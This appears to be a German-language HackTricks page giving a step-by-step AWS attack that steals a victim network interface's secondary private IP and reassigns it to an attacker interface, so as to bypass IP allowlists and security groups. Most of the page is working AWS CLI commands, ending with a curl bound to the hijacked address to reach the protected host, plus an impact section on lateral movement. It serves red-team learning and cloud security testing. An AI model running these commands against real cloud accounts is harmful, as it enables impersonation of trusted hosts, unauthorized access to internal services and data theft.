AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Missbrauche ec2:UnassignPrivateIpAddresses und ec2:AssignPrivateIpAddresses, um die sekundäre private IP einer Opfer-ENI zu stehlen und sie auf eine Angreifer-ENI im selben Subnetz/AZ zu verschieben. Viele interne Dienste und Security Groups kontrollieren den Zugriff anhand spezifischer privater IPs. Durch das Verschieben dieser sekundären Adresse gibt sich der Angreifer auf L3 als der vertrauenswürdige Host aus und kann auf allowlisted services zugreifen.

Prereqs:

  • Berechtigungen: ec2:DescribeNetworkInterfaces, ec2:UnassignPrivateIpAddresses auf der ARN der Opfer-ENI, und ec2:AssignPrivateIpAddresses auf der ARN der Angreifer-ENI.
  • Beide ENIs müssen im selben Subnetz/AZ sein. Die Zieladresse muss eine sekundäre IP sein (die primäre IP kann nicht entfernt werden).

Variables:

  • REGION=us-east-1
  • VICTIM_ENI=
  • ATTACKER_ENI=
  • PROTECTED_SG= # SG auf einem Zielservice, der nur $HIJACK_IP erlaubt
  • PROTECTED_HOST=

Steps:

  1. Wähle eine sekundäre IP aus der Opfer-ENI
bash
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
  1. Stellen Sie sicher, dass der geschützte Host nur diese IP erlaubt (idempotent). Wenn stattdessen SG-to-SG rules verwendet werden, überspringen.
bash
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
  1. Ausgangszustand: von attacker instance sollte eine Anfrage an PROTECTED_HOST ohne spoofed source fehlschlagen (z. B. über SSM/SSH)
bash
curl -sS --max-time 3 http://$PROTECTED_HOST || true
  1. Entfernen Sie die sekundäre IP vom Opfer-ENI
bash
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. Weise dieselbe IP der Angreifer-ENI zu (bei AWS CLI v1 füge --allow-reassignment hinzu)
bash
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. Überprüfen, ob der Besitz übertragen wurde
bash
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
  1. Von der attacker instance aus source-bind an die hijacked IP, um den protected host zu erreichen (stelle sicher, dass die IP im OS konfiguriert ist; falls nicht, füge sie mit ip addr add $HIJACK_IP/<mask> dev eth0 hinzu)
bash
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out

Auswirkungen

  • Umgehen von IP-Allowlists und das Vortäuschen vertrauenswürdiger Hosts innerhalb der VPC, indem sekundäre private IPs zwischen ENIs im selben Subnetz/AZ verschoben werden.
  • Zugriff auf interne Dienste, die den Zugriff anhand spezifischer Quell-IP-Adressen regeln, wodurch lateral movement und Datenzugriff ermöglicht werden.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks